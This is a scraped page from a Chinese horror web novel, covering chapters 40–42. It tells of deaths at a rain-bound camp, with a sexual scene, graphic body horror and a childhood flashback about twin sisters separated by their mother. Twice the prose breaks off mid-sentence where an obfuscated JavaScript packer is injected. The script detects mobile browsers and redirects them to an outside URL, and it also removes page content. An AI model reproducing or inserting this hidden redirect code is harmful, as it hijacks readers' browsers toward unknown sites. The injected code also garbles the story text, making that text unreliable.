周志和陈宇南立刻将余有为扶起来,他太重了,完全扶不动。梁威冲进来,三个男人合力将余有为拖到床上。 余有为还在咳,咳的时候,人像爬行的蜈蚣一样耸动。 周志拍着他的胸口,用毛巾擦掉他嘴边的血。陈宇南和梁威给他翻身,让他侧着,省得血倒流进咽喉呛住。 又是一团血从嘴里流出来,流到白色的床单上,登时染得鲜红。悦凌凌出来看见,想起钱晓文房间的惨死,又是一声尖叫,躲进了厕所。 “你烦不烦!”张情厌恶地皱眉,“叫叫,叫死啊。” 隔着门,悦凌凌颤着声音骂:“关、你、屁事。” …… 余有为咳了许久才平复下来。人非常累,困倦,眼睛一眯一眯地想要睡觉。 周志想说让钱晓文看看给他吃点什么药,转头往房间里寻了一圈,没看见钱晓文,才突然想起钱晓文已经死了,就在隔壁房间。 周志说:“吃点维生素吧?” 陈宇南抓过柜子上的两瓶维生素,说这儿有。他们倒了几粒出来,喂余有为吃了。 吃完药,余有为闭上眼睛,睡着了。 房间陡然静下来,安静的有点可怕。 周志说:“前几天就看见他在咳,问他,他也说没事。” 陈宇南说:“看起来像肺癌……” 周志:“那是老毛病吧?他以前没发现吗?” 没人知道。张情闻着一屋子血啊饭啊菜啊的怪味,忍不住皱鼻子,直接回房间去了。 陈宇南和梁威也离开了,平月随后走的。 周志快速收拾了碗筷,把垃圾丢掉,地上的玻璃和血扫了,也走了。 屋里十分安静,只有余有为呼吸时的重重出气进气声。 悦凌凌隔着厕所门听了一会儿,轻轻推开门走出来。她站在余有为的床边,缓缓蹲下。手搭在床边,下巴枕在手背上,盯着床上的那摊血,有些疑惑地去看余有为的脸。 余有为长着每一个中年男人都有的脸,蜡黄,油腻,发福,隐隐约约没剃干净的络腮胡子。厚嘴唇沾了血,红得不正常,深黑色的眉毛紧紧皱着,像在做噩梦,一脸不安。 悦凌凌歪头。是他本来就有病,还是喝了酒的原因? 正想着,余有为忽然睁开了眼,有一刹那的清明,随即视野朦胧。他呆呆盯着自己面前的那张年轻的脸,小孩团起手来,是枕在下巴下面还是捧着脸,那样看他。 模糊的影子渐渐和那一晚重叠了。 余有为颤抖着声音问:“是、是你吗……?” 悦凌凌:“谁?” 余有为哭了一声,闭上了眼。悦凌凌再问时,他又睡着了。 莫名其妙。 她站起身,拍拍手,离开了房间。 40. 第 40 章 刚回到房间,张情肚子绞痛,开始拉肚子。拉得来势凶猛,往马桶一坐就起不来了。 浑身痉挛,冷汗直冒。 她努力回想自己吃了什么不该吃的,想不出来。换做以前,不该吃的可多了。如今,那可真是吃得太营养健康了。她长这么大,从来没有这么规律准时的吃午饭,还是健康营养餐。 讲道理,是不会拉肚子的。 红酒喝太多了?来夏令营之前,每天喝酒也没拉肚子啊,前些天,天天喝还是没拉肚子,不见得今天就拉了。 不会是今天那瓶红酒变质了吧?她开始瞎想,难怪口感涩涩的不好喝。 拉到人快虚脱,她撑着腿站起来,一手抱着肚子一手撑着墙往门口走。不行,还是控制不住想拉。可是已经拉了一整个下午了,再拉下去,拉死在马桶上估计都没人发现。 而且,她可不想死得这么丑陋又离谱。 走了五步,憋不住,有液体流了出来。她蠕动鼻腔,闻到一股臭味,不知道是从厕所飘出来,还是自己身上传来的。 她加快脚步,几乎是用冲刺的速度冲到隔壁梁威门口,用力拍门。没人应。 “梁威!” 还是没人应。 她喊这么急,梁威不可能不管她,哪怕他们现在没什么关系。除非梁威……脑海里突然升起不好的猜想,她握住门把手推开门。 “梁威!”大喊一声冲了进去,屋里空空荡荡。 床上没人。 浴室没人,马桶……张情受不了了,抱着肚子坐下来。肛\门拉得火辣辣的,没消化的午饭全拉了出来,鲜红的辣椒片黏在马桶壁上。 张情想死的心都有了。 外面响起脚步声。 “梁威?”张情问。 没回应。 张情起初没什么感觉,直到脚步声离厕所越来越近,一种极度不好的预感袭击灵魂,让她猛地惊了一下。 她来不及抽纸,站起身“嘭”地砸上厕所门,顺带反锁。 然后后退到洗手台,紧紧贴在那里,目光四处搜寻可用的工具。梁威的厕所像他的床一样干净整洁,浴室里除了置物架上叠成豆腐块的浴巾之外,什么都没有。 这是梁威当兵的习惯。 敲门声响了起来。张情吓得呼吸急促,声音发紧:“谁?” 外面顿了一下,说:“我。” 熟悉的声音让张情放松了警惕。她狠狠松了一口气,问:“你怎么来了。” 陈宇南说:“我听见你声音。” 张情坐回马桶,坐下时,裙摆扫在小腿,一种黏糊糊的触感一扫而过。她低头看了一眼,淡黄色分泌物粘在青色裙摆上格外显眼,让她想死。 门外的陈宇南问她怎么了。 张情憋了一口气,说:“拉肚子。” 陈宇南皱眉,拉肚子拉到梁威房间里?嘴里莫名的有点干涩,胸口闷着一股气。 张情问:“你有没有拉肚子的药?” 陈宇南闷闷的声音:“没有。” 张情:“你去问问谁有。” 这个房间,只有钱晓文、赵淑萍和平月带了药。前面两个人死了,平月……他不想去。 磨砂质地的玻璃门上倒映着陈宇南的黑色影子,他站在门外,没说答应也不见离开。 张情肚子又一阵痛,五官疼得揪了起来。她忍着疼,让他快去。陈宇南说等会你自己去吧。 听见这句话的瞬间,张情几乎忘记了疼,有些诧异地抬了抬眉。她所知晓的陈宇南不是这种会拒绝女人的男人,尤其是拒绝一个刚和他做过爱的女人。他像每一个纯情男,做了一次爱就真当在一起了,会竭尽全力满足对方的要求。 怎么突然这样……一个药而已。 张情稍微想了一下,就明白了。她嗤笑:“怕见人啊?” 陈宇南没出声。 果然是怕。 张情深呼吸,放缓语气,撒了个娇:“我快疼死了,实在走不动。” 纯情男最吃不了这套的。 偏偏是陈宇南这个傻逼,他说:“那你多蹲一下,我去给你倒热水。” 然后,他走了。 张情气得咬牙,牙齿用力在口腔里摩了几下,最终骂了一句:“草!” 气得肚子都不疼了,她站起来,脱下吊带裙扔进垃圾桶,拧开热水冲澡。不知道是热水的温度太高还是什么原因,冲在身上火辣辣的疼,像抹了一身的辣椒籽。 “热水在柜子上了,我先走了。” 张情来不及研究水温,扯过浴巾往身上一裹,用力拉开门,“你走哪里走?”她问得恨意满满。 陈宇南说:“我房间啊。” 张情瞪疼了眼,怒视他,忽然,她笑了。对面的陈宇南终究太年轻,脸上藏不住一点事,张情这个混迹男人场的老手,一下子就看出来了。 她往梁威的床上一坐,双手撑在身后,笑眯眯问他:“看见我在这里,吃醋啦?” 说话时,她的腿从浴巾里伸出,涂了鲜红指甲油的脚趾轻轻爬上陈宇南的腿,往他膝盖窝里碾了碾。 一股酸麻顿时让陈宇南差些站不稳。 他挥开她的脚,说没有。张情刚洗过澡,没擦水,浑身滑溜溜的,那条腿尤其,像洒了油。陈宇南本想丢出去,却怎么也舍不得松手。 张情吃吃笑,盯着他鼓包的裤子,“还说没有……”脚下用力,将人勾了过来。 说不清是蓄意,还是猝不及防,陈宇南摔在她身上,他的手撑在床上,俯身看身下的人。这个女人真是……原本不喜欢的,只是因为恨和她在一起,后来是因为欲望,现在,他竟然……陈宇南不想承认的,但心里真实的又恨又爱。 恨得牙疼,爱得烦躁。他一口咬在她的嘴上,用力啃噬。很快就出了血,舌尖尝到腥味。 “有病啊!”张情痛得推开他,抹了一下嘴,指腹上全是血。 陈宇南一声不吭,死死摁住她的手反剪在头顶。 窗外的暴雨持续不断地下,砸在落地窗上,噼里啪啦,毫无节奏。雨幕漆黑,像染了墨,映得重叠的人影格外鲜明。 张情眼神迷离,盯着漆黑的雨夜,玻璃窗上除了他们,还有这个房间。这个房间和所有房间都不一样,有一种严肃的老干部风,让她的血液流动得比往常更加澎湃。 陈宇南察觉到了她的走神,停下来,咬牙切齿地问她和梁威什么关系。 张情噙着笑,手指摸着他柔软的T恤,“上哪儿学坏了,还会这招。”她揽住他的脖颈,往自己方向一拉,笑进他眼里。 两人的脸非常近,陈宇南的鼻梁撞在了她的鼻尖上,她说话的呼吸喷到他脸上。 “我和他啊……是……” “——老、情、人啊……” 她说完,吃吃笑起来。陈宇南发了狠,人很凶,又凶又狠。是张情喜欢的力道。 二十出头的陈宇南很瘦,太年轻,太纯粹,常年不运动,身体没有力量,只有横冲直撞的青涩。 这么多年,她最喜欢的还是梁威。梁威有着一张天生严肃到秒入党的端正方脸,玩起来却疯得要命,还有他的身份和家世,那种禁忌感让她着迷。 可惜,后来梁威…… 张情猛地推开陈宇南,冲进厕所。陈宇南怔在床上,下一秒,听见厕所的声音,他控制不住地怒号:“张情!” 张情:“所以我让你去拿药啊!” 陈宇南胀得眼睛都红了。 “你一个大男人扭捏什么!”张情在里面骂。 陈宇南提上裤子,塞上拖鞋,冲厕所说:“有种你等着让梁威去给你拿!” 然后甩脸走了人。 张情懵了,急急大喊:“陈宇南!” 没人应。这次是真走了。 “靠,男大真他妈不是人。” 张情坐在马桶上,心情纠结。和老男人们打交道惯了,大家心知肚明都是玩玩,有些话不用说那么直。这些年来,张情第一次遇上陈宇南这样纯情的,习惯性的不把话说清楚。 结果,陈宇南这傻逼真以为她和梁威在这里旧情复燃。梁威都不知道在哪儿,她搁这儿和梁威的空气玩复燃吗? 真他妈是个脑子缺失的大傻叉。 张情拉到脱水,口干舌燥,手臂干得发痒,她挠了一下,抠下一块干掉的皮。小块小块的干皮。 张情盯着指甲缝隙里干燥的皮屑,皱紧了眉,来不及在意,手肘也开始痒了,脖子也痒,脸也痒,胸口痒,肚子痒,腿痒。两只手,混乱地在身上抠,哪里痒抠哪里。 一直抠,一直抠,越抠越痒,越痒越抠,干皮如雪花似的飞满天。有些是小块,有些是大块,像面膜一样的一张,从整个大腿脱落下去。 浑身都是干皮,抠掉的,没抠掉的,脱掉干皮之下的皮肤被指甲挠得发红发疼。她停不下来,一停下来就痒得难受,痒得心里发慌。 她匆匆忙忙地抠,急切地抠,用力抓。地上积满了一层皮屑,干巴巴白茫茫。 外面再一次响起脚步声,缓慢的,一步一步,往房间中央走。走了几步,停下来。之后再没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张情心脏狂跳,陡然袭上来的恐惧让她喘不过气。一口气憋在心口,憋得视野发晕。在这一瞬间,恐惧让她忘记了该怎么呼吸。 门“嘭”地推开了。 影子的主人立在了门口。明亮的浴室灯光之下,张情清清楚楚看见了那张脸。 “你……” 那个人笑了一下,转身走了。 什么都没说,什么都没做。 就只是看了张情一眼,走了。 浴室的灯是暖光的,橙黄的,落在那双眼睛里,像路灯的光倒映在瞳孔里。张情猛然一下就想起来了。 那双眼睛,那双一模一样的眼睛。曾经让张情感到嫉妒,现在依旧如此。 “你站住!” 张情猛地站起身,想去追。 但有什么东西,火辣辣地从她的身体上掉下来。 她低下头,发现是自己的肚子,干裂的皮,在她胡乱的抓挠之下,掀起整整一片,随着她猛然起身的动作,完整地从肚子上脱落,顺着肚子,掉在地上。 脱皮后的肚子出现血丝,一条一条的纹路,在灯光下清晰可见。有血珠从肚脐流了出来。滴滴答答,滴在地上,将铺了一地的干屑都染红了。 她的身体……怎么……了? 完全不受控制的掉皮,被指甲挠破的地方在流血,止不住地流。 她看自己的手,掌心布满了血,不知道是在哪里沾到的,指甲缝里塞满了干皮。 她扭身去看洗手台前的镜子,她的后背,大块大块的皮剥落,指甲痕迹重重的映在后背,一道一道,血从里面流出来。 什么时候抠破的? 没有一点感觉。但,就是抠破了。 肚子又开始疼,她蹲下来。淅淅沥沥地拉出来,前所未有的轻松与畅快。排泄物落进马桶的瞬间,像泄掉全身的脂肪,身体变得十分轻盈。 她站起身,有什么东西晃到腿上,黏黏的,不是裙摆粘了分泌物的触感,是那种黏糊糊的温热的触感,一晃而过。像、像……张情想很久,才从童年快遗忘的记忆里找到相似的触感。 像…… ……肠子。 灌好的香肠,一整条的香肠。 她低头,一根鲜红的黏稠的沾满分泌物的肠子垂下来。 就那样,垂直向下,像悬挂通风的香肠,在风里轻微地旋转,晃动,旋转,晃动……晃…… 41. 第 41 章 “张情!” 门口有喊声。 张情抬起头,世界变得缓慢了,她看见几个人,好像认识好像不认识,围了过来,聚了过来。 眼睛一眨似乎看见另一个世界。 风吹来,身体哆嗦了一下。张情睁大眼睛,看见一张晒得蜡黄而发黑的脸,剑眉紧皱,一脸严肃,像四十年代画像上一本正经的老干部的脸。张情记得这张脸,她曾经喜欢过好多年,后来也挺喜欢的,但是…… “张情。” 低沉的声音让她浑身一震,她突然想起什么,抬起眼,这一次,视野透明,她看见余有为,看见陈宇南,看见悦凌凌,看见平月,还看见梁威,他们跟在梁威身后,往厕所走过来。 不…… 她可以死,但决计不能让人看见她的狼狈。 “嘭!”撞上门,一把扣上反锁。一系列需要用力的动作消耗了她最后的力量。她跌坐在地上。滑溜溜、蠕黏黏的大肠贴在两股和瓷砖之间,是蠕软的触感。 她已经分辨不出这种感觉是舒适还是令人恶心。身后的门被拍响,梁威的身影占据整张玻璃,他俯身在玻璃上,想隔着门看她。 “张情,你开门。” 张情摇摇头,不开。 不可能让他们看见这样的她,更不可能让梁威看见这样的她。 “张情。” “你怎么了?” “开门啊。” 不知道是谁在叫她,她听不清了。 人靠在玻璃门上,视野是模糊的。后背的冷玻璃让她起了鸡皮疙瘩,浑身发颤。像冬天的夜晚,也像深秋的早晨。 张情不记得那天是什么季节,好像是晚上,也好像是早上。一辆车开进胡同,黑色的轿车,黑得发亮。能发亮应该是白天吧?张情想。 那就是白天,亮得惊眼的轿车门推开,一个穿西装制服的男人下车——张情从来没见过那样的衣服,工整,笔直,服帖,昂贵,像将布贴在人的身上裁剪缝制的。 她是云城清溪镇的,虽然在镇上,但家比较穷。她穿的衣服是外婆买的布自己裁自己缝的。每一件都得缝大些,这样能穿好几年。那是张情第一次看见贵衣服,一眼记了几十年。 小城市的小镇人口不多,在一九九几年,当一辆油亮亮的轿车开进来,立刻吸引了所有人的注意力。车头上立着银的三角形,其实是银色,但据摸过的人说肯定是银子。 那是连镇长都开不起的轿车。长长的。黑色的。停在了张情家门口,张情和妹妹和外婆像木愣子似的,听外面有人喊“张家婆子,你家来轿车啦”,然后三个人就好奇地跑出去,傻愣在门口,看那辆黑色的轿车从驾驶室下来一个西装革履的男人。 男人很得体,至少张情只在长大后的大城市见过这样的男人。他弯腰时挽住从脖颈惯性掉下来的领带,另一只手拉开后排的车门,而后站在车门后面等。 先出来的是一只漂亮的高跟鞋,鞋跟又细又长,点缀着闪闪发亮的钻石,美得闪瞎了张情的眼。她盯着那双好看干净的高跟鞋轻轻落在灰尘厚厚的地上,那一瞬间,张情在后悔今天起迟了没扫门口,不然这双高跟鞋就能踩在干净的青石板上。 那是一个漂亮的女人,细长的腿在旗袍之间若隐若现,肩上披着看起来就很高贵的深紫色披肩,边缘缀着一圈柔软的狐狸毛。 张情盯着这个女人,眼里尽是羡慕的光。 那个女人垂下眼,望着这个不足她腰高的女孩,笑了,“你就是阿情吧。” 她笑起来,很温柔,也很魅惑。张情看痴了,外婆在耳边说叫妈妈,她也没听见。那个女人轻轻摸了摸她的头顶,就转向另一边,那里站着张情的妹妹。她和张情几乎是一个模子刻出来的,眼睛、鼻子、嘴唇、脖颈,哪怕是身高,都一模一样。只是妹妹眉毛尾部的下方一点点,眼皮之上有一颗小小的红痣。 妹妹叫阿姣。她抬眼看女人,娇脆脆地叫了一声妈妈。 女人当即笑得更开心了,手摸着阿姣的眼睛,说真好看。那颗小小的红痣在她抬眼之间,衬得她像一朵娇嫩欲滴的清晨玫瑰,鲜艳娇媚。 “妈。”女人对张家阿婆说,“我回来了,只待两天,明天就走。” “诶诶诶好!快进来快进来。”外婆笑呵呵的请她进去,“多少年没回来啦,在外面过得好吗?怎么不多待几天?阿情和阿姣很想你。” 张情和张姣站在门口,看他们的妈妈挽着披肩踩着高跟鞋一步一步踩进堂屋,高跟鞋咚咚的声音像踩在张情的心上,让她生出无限羡慕和愉悦。她的妈妈很美,走路都很美,像画里面出来的,身姿摇曳,尽是风情。 妈妈进了堂屋,昏暗的堂屋将她的身影盖住,只剩下模糊的影。外婆点上油灯。 张情扭头看门外的男人。阿婆也在看。妈妈说:“他啊,老张家的司机。” 阿婆笑着请他进来坐,说这一路辛苦你啦。阿婆让阿姣去倒水,阿姣摇头说不要。张情就去倒水来,拿来帕子给他们洗脸洗手。 那时候的规矩,客人进屋是远道而来,身上肯定染了污脏,要用热水洗一洗,净一净,才能玩得更舒服。 男人不懂,但张情拧干帕子,他也接住了。妈妈说她化了妆,洗不得脸。她叫阿姣过去,搂着阿姣在腿边,问阿姣今年几岁了,上学没有。 说起来这个,外婆就叹气。书是在读,却都不爱学,学着学着就丢。外婆有些心疼钱,又有些心疼两个孙女,才四岁就要去上学,每天起大早,累。外婆说阿情的成绩要好些。 妈妈点点头。 张情满怀期待妈妈看过来夸一句,随便一句什么都可以。但她没有,只是搂着妹妹,笑着说别的话。 妈妈对外婆说,阿姣像我。 外婆揽过张情,抱在怀里,说都像。 外婆身上有一股甜甜的香,令人安心。张情原本有点不开心,被外婆一抱,所有坏掉的情绪都烟消云散了。她窝在外婆怀里,用脸蹭外婆暖暖的怀抱。 妈妈很挑食,外婆做了一大桌菜,很多肉,鸡肉、鱼肉、猪肉,平时张情和张姣只能吃少少的一点肉,今天好多肉,妈妈都不怎么吃,只用筷子撩了两颗米放进嘴里,嚼嚼。再拣一片青菜,只吃叶子,把菜根放置在桌上。 这样浪费,但张情只敢看着。外婆笑着问是做咸了还是油放少了?妈妈说没事,吃着累而已。 外婆说回来一趟需要多久呀?妈妈说十几个小时吧。外婆心疼坏了,说那你快些吃完了去睡觉吧。睡我的屋,床单和被套重新铺过了。 妈妈把筷子一搁,让司机把行李箱拿进来。那是一个大箱子,里面装满了各式各样的华丽衣服,被搬进外婆睡的屋里。 晚上,外婆和张情、张姣挤在一张窄窄的床上睡。司机在柴房用稻草打地铺。 夜里,睡不着,张情问外婆为什么妈妈不在家里住,要去外面。外婆说妈妈结婚了,丈夫在很远的地方,所以妈妈要在那里。张情问是我们的爸爸吗,外婆说是。张情问为什么爸爸不回来。外婆说快睡吧。 张情是很听外婆的话的。闭上眼睛,但还是睡不着,小小身体在外婆的怀里蠕来蠕去。 张姣也睡不着,问外婆,爸爸妈妈很有钱吗。张情不蠕了,睁开眼睛望着外婆。外婆说应该有吧。张姣问那他们为什么不接我和姐姐过去。外婆说他们太忙了。张姣问那妈妈会给我们钱吗。张情说妈妈肯定很有钱,她是坐车回来的,她肯定会给我们钱,我们还要吃饭上学呢。 外婆说阿情别这样说,妈妈也很辛苦。 …… 第二天,张情起很早,在灶房烧水,一大锅的热水,另一口大锅熬着粥。她想等会妈妈醒来,就可以洗上热水脸,吃上热乎饭了。妈妈那么远回来,很辛苦,喝粥最好。外婆生病的时候,喝粥就好得快。 水烧开了,粥煮熟了,太阳晒亮了天空,隔着院落大门,外面有嘈杂的声音,是那些远的近的围在她家门口看车。 妈妈还没起来。外婆也没起来。张姣从茅房出来,揉着眼睛又回屋里继续睡了。 张情将灶肚里的火减成最小,让水和粥慢吞吞地温着。她想妈妈太累了,肯定要多睡会。 结果日上三竿了,妈妈和外婆还没起来。张姣已经醒了,蹲在院子里漱口。张情问她外婆醒了吗。张姣吐出嘴里的水,说早醒啦,在妈妈房里。 灶肚里的火全熄了。张情又添一些,又烧熄了,粥都快熬干了,她不敢加火了,只能盖着锅盖防止热气跑走。 快中午了。张姣不知道上哪儿去了。张情几乎能感受到锅里的水和粥有些变凉了。 深秋就是这样,所有东西都冷得极快。 张情从灶房出来,往妈妈睡的屋子走。她跨进堂屋,转进睡觉的里屋。里屋的门关着,但站在门外,能听见外婆和妈妈说话的声音。她们的声音不大,可那时的门不隔音。 外婆说,阿情和阿姣越来越大了,阿情是个聪明孩子,读书很好,学校老师说她看一遍就能记着。阿姣虽然读书不好,但人很乖。我年纪也越来越大了,养不了多少年了,你这次回来就把她们带走吧,让阿情好好读书,阿姣随便学个什么都好,有你和他在,两个孩子不会吃亏的。 妈妈说我这次回来就是想带走,他嫌家里清净,想要个孩子了。与其让外面的人生,不如我带过去。 外婆没说话。妈妈也没说话。张情不懂她们为什么不说话,妈妈要带走她和妹妹,不是外婆最希望的吗?虽然张情很舍不得外婆,但是她也很喜欢妈妈,想和妈妈在一起。 许久之后,外婆叹口气,问:“两个……不行吗?” 妈妈没出声。 外婆又叹气,“你想带谁?” 妈妈说:“阿姣。她像我。” 外婆说:“阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138497|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情也像,她和你一样聪明。你小时候……” 妈妈打断她,说别说以前的事了,你怎么老爱回想以前的事,以前多不好,没吃没喝没穿。现在多好,吃不完穿不完用不完。你也是太节省了,我给你打那么多钱,你该买就买,你不用,我以后就不给你打钱了。 外婆说我不说以前了。钱够用,你留着自己用吧,养一个孩子是很难的,想带阿姣就让她跟你去吧。你那边生活得好一点,让阿姣去……外婆叹一口气,阿情…… 妈妈有点烦了,语气变得极度冷淡,别说阿情了。 外婆紧张地搓着手,连连答应好好好,我不说了。 …… 张情不知道自己怎么回灶房了,锅里的水冷了,粥也冷了。她坐在灶肚前,刚烧完火的灶肚没有一点温度,变得冰凉凉的。冻得她浑身发抖。 她想不明白,妈妈的生活那么好,开着镇长都开不起的轿车,为什么只接妹妹过去,不要她?她哪里不好?是因为她没有第一时间叫妈妈吗?可是她从生下来到现在,在她的记忆里,这是第一次见妈妈,她不知道她是妈妈啊…… 张姣跑进来,说阿姐,我饿了。 张情站起身,掀开锅盖,冷却的水蒸气从锅盖滴滴答答流了一地,流到手上,凉得浸骨头。 张情说冷了,你坐会儿,我热一热。 张姣踩在板凳上,踮起脚尖往锅里看,笑嘻嘻说阿姐粥都变干饭啦,再热就糊啦。 张情说那我给你烧个地瓜。张姣说阿姐,我想吃鸡肉,昨晚的肉还没吃完。张情说好,那我把鸡肉撕一撕放在粥里,再舀一勺鸡汤,用搪瓷杯装着坐在灶肚里热。张姣开心地跑了。 张情热好了鸡汤饭,用毛巾裹着,端到堂屋去。妈妈的房间里还有说话声,只不过这一次是和阿姣说话。妈妈问阿姣愿意跟她回家吗。声音是那样的温柔。 张姣脆生生的声音很大,说愿意,我想跟妈妈回家。 妈妈笑了。 张姣问,姐姐和外婆也去吗。 妈妈说,不去哦,外婆舍不得家,姐姐舍不得外婆。 张姣嘟着嘴,说我也舍不得,舍不得外婆和阿姐。 妈妈摸着阿娇的头,说她们以后会来,这样阿姣还和妈妈一起走吗,妈妈很想阿姣所以才回来的。 妈妈是那样的难过,垂着头,声音发哑。张姣皱着脸,用小小的手摸着妈妈的脸,说妈妈你别伤心,阿姣跟你回家,以后我们再接外婆和阿姐回家。 妈妈一把抱住阿姣,望着昏暗的空洞,说阿姣真乖。 …… 阿姣走得突然,午饭都不吃就要走。张情想去给她收拾衣服都来不及。妈妈说这些东西用不着,到了那边,会全部买新的。 张姣拉着阿姐的手,一脸不舍。张情扯出一个漂亮的笑容,说你跟妈妈去要听话。 张姣点点头。 张情还想说什么,妈妈说时间很迟了,再不走,天就黑了。 明明才到中午。 司机把妈妈的行李箱搬上车,妈妈往大门走了几步,回头叫阿姣,说走了。 张情紧紧拽住张姣的手。张姣哭了,泪水糊满一整张脸。张情也快哭了,这是她第一次离开妹妹,也许以后很多年很多年都见不着了。 她不知道该怎么安慰妹妹,但她知道自己不能哭,只要她哭,妹妹肯定哭得更凶。 她丢开妹妹的手,跑进堂屋,把那蛊粥端出来,连同勺子一并塞到阿姣手里,说你不是饿了吗,带到车上吃吧。 张姣捧着滚烫的鸡汤粥,又被妈妈催了一声,才扭头跟着上了车。 她人小小的,一钻就进了车里,小小的团在妈妈的身边,双手捧着掉了漆的搪瓷杯。与那辆发亮发光的昂贵轿车格格不入。 张情还是没忍不住流出泪来。车门被关上了。司机坐进车里,将车开走了。 张情追在后面。只看见汽车尾巴排出来的乌青色的尾气和灰尘。 张姣牢牢扒在车窗上,隔着雾蒙蒙黑压压的车玻璃,看姐姐的身影越来越远,越来越远,渐渐看不见了。外婆也看不见了,她的家看不见了。 “这什么东西,烫死我了。”身后传来妈妈的声音。 张姣扭头。看见阿姐给她煮的那蛊粥洒了,在黑色的皮椅上到处流,打湿了妈妈的裙子,烫着妈妈了。 张姣慌张地用手去抹那些粥,想将它们从妈妈身边拦开。 妈妈厌恶地皱眉,说这么多年了还用这么破烂的东西,烦人。车玻璃在她那边降下来,张姣的视线变得清晰了,她看见外面枯黄干涸的田地,蓝色的天和雪白的云,只蓝了一会儿,就被乌云盖成黑压压的一片。 妈妈捞起那蛊粥,扔出了车窗。 “妈妈!” 张姣失声尖叫。 妈妈说,张姣,你听清楚,到家的第一条规矩就是不能大声尖叫。 42. 第 42 章 镇上的人都说张情她妈发达了,不要张情了。不然怎么只带着张姣不带走张情,张情一定是她妈在外面的私生子,只是两姐妹都长得像妈妈才没露馅。 张情会愤怒,指着说话的人骂。但四岁的小孩没什么威慑力,大家捂着嘴笑眯眯地走了,空气里残留着他们的话:“看来说对喽,都急啦,嘻嘻……” 她回去跟外婆告状,外婆摸摸她的头,一脸温柔。阿情不要乱听他们说,阿情是妈妈的孩子,和阿姣一样。 张情问为什么妈妈只要阿姣不要她。外婆叹气,说妈妈的生活也不好过,阿情再等等,以后妈妈会来接你的。 这一等就是五年,张情九岁了,妈妈一直没回来。镇上有了座机,可她没有妈妈的电话。外婆也没有。她不知道妈妈在哪里,不知道阿姣在哪里,她对妈妈和阿姣的记忆都开始模糊了,只记得妈妈非常漂亮,非常有钱,镇上服装店闪亮亮的招牌都没有妈妈那双高跟鞋闪耀。她见识了妈妈的鞋,就觉得镇上所有时兴的东西都是那么的俗、廉价。她对昂贵有不同的理解。 她认为自己要努力读书,妈妈不来接她没关系,她可以自己考去大城市。成绩越好,考的城市越大,只要她到大城市里去,总会找到妈妈和妹妹。 像外婆说的,张情的成绩很好,过目不忘。老师都夸她聪慧。夸完就叹气,说阿情妈妈糊涂,应该带张情去城里,而不是阿姣。阿姣虽乖,但读书方面不用功,阿姣喜欢玩,张情便带她玩,导致以前两姐妹都不喜欢读书。 镇只有那么大,所有人都知道张情家的事情。 张情十二岁,读初三了。她读书早,镇上的年龄要求不苛刻,张情又聪明,老师们都喜欢这个班级里最小的孩子。 那年,中考的时候,外婆病倒了。这一病,再也没起来。送医院,医生摇头,说带回去修养吧。修养的意思就是一辈子躺着了,你想养就养着,不想养也就那样死了。 在阿姣离开之后,张情头一次哭得稀里哗啦,趴在外婆身边。外婆也流了泪。但她动不了。邻居阿婆说这是中风,很容易死的,让阿情早点做准备。 张情从来不听,她说她不要去上学了,留在家里每天照顾外婆。外婆转动眼珠,很慌乱的样子。张情知道外婆不同意,她偏开头,假装不知道。张情说反正我也没去中考,没高中要我。 她熬了药,喂外婆喝。 邻居阿婆过来看外婆,说她孙子考上了市里的二中,过两天请大家伙吃个饭,然后送孙子上市里去读高中。她说那高中好得很嗫。又转头问张情考了哪里,张情没说话。邻居阿婆说你成绩那么好,得是个一中吧。怕外婆不懂,她凑到外婆耳边说一中可是市里最好的高中,比二中好多了嗫,全是尖子生!将来是要当官出国留学还是游学的嗫! 外婆说不出话来,只是不停地流泪。眼泪糊湿了枕头。邻居阿婆说你咋还哭了,那是好事好事!你家阿情以后可出息的! 外婆一直哭一直哭,张情知道她为什么哭,因为她告诉外婆自己没去参加中考,不读高中了。从小外婆就夸她读书好,希望她读些书。外婆说以前只有男孩子才能读书,说女孩子读书没用,外婆偏不信,外婆就觉得不管男孩还是女孩都要多读书。 张情从小到大都这样执行,考试永远是学校考得最好的。家长会,老师总是夸她。每次去了学校回来,外婆都是笑呵呵的,牵着她的手,说咱们阿情真聪明,真厉害。阿情读书辛苦啦,回家外婆煮鸡汤饭给你吃,还要不要吃棒棒糖呀,阿情不是最喜欢吃棒棒糖了吗。 看着那样伤心的外婆,张情也哭了。她咬着嘴,将眼泪全部吞回去,跑去了学校。 她考了,但是没去拿成绩单。她怕自己看见成绩单会心生向往,她也想去市里,想去一中,想考一个在大城市里非常好的大学。我想阿姣,想妈妈,想见她们,还想见一见从来没有见过的爸爸。 但是她走了,阿婆怎么办? 而且,妈妈很多年没打钱来了,好像从那一次走之后——这是张情去年不小心翻到存折才知道的。外婆的钱很少了,除了买药,还要给她交学费。高中的费用非常高。家里负担不起。 她不想在这种事情上给外婆添麻烦。外婆为她劳累了一辈子,而她永远长不大,依旧是这个去餐馆里洗碗都不要的年龄。 她去了学校,去了老师办公室。放假的办公室空空的,没人。张情站在班主任的办公桌边,上面放着她的成绩单。她没有拿,只是站在那里看。她考得非常好,离满分只差3分。这个分数,去一中随便够了。 可是外婆怎么办?钱怎么办?老师说过,一中的学费是六百一个月,还有住宿和伙食费,算下来得一千五一个月。她拿不出那么多钱。 张情最后看一眼那张成绩单,然而背过身去。就这样吧,她没参加中考,上不了高中。外婆这会难过,难过一段时间就好了。 她往办公室外面走,明明很小的办公室被她走出了很大的空间,总是走不出门,腿上像绑了沙包,重得她拼了命才走到门口。 “张情?” 班主任从厕所那边走过来。 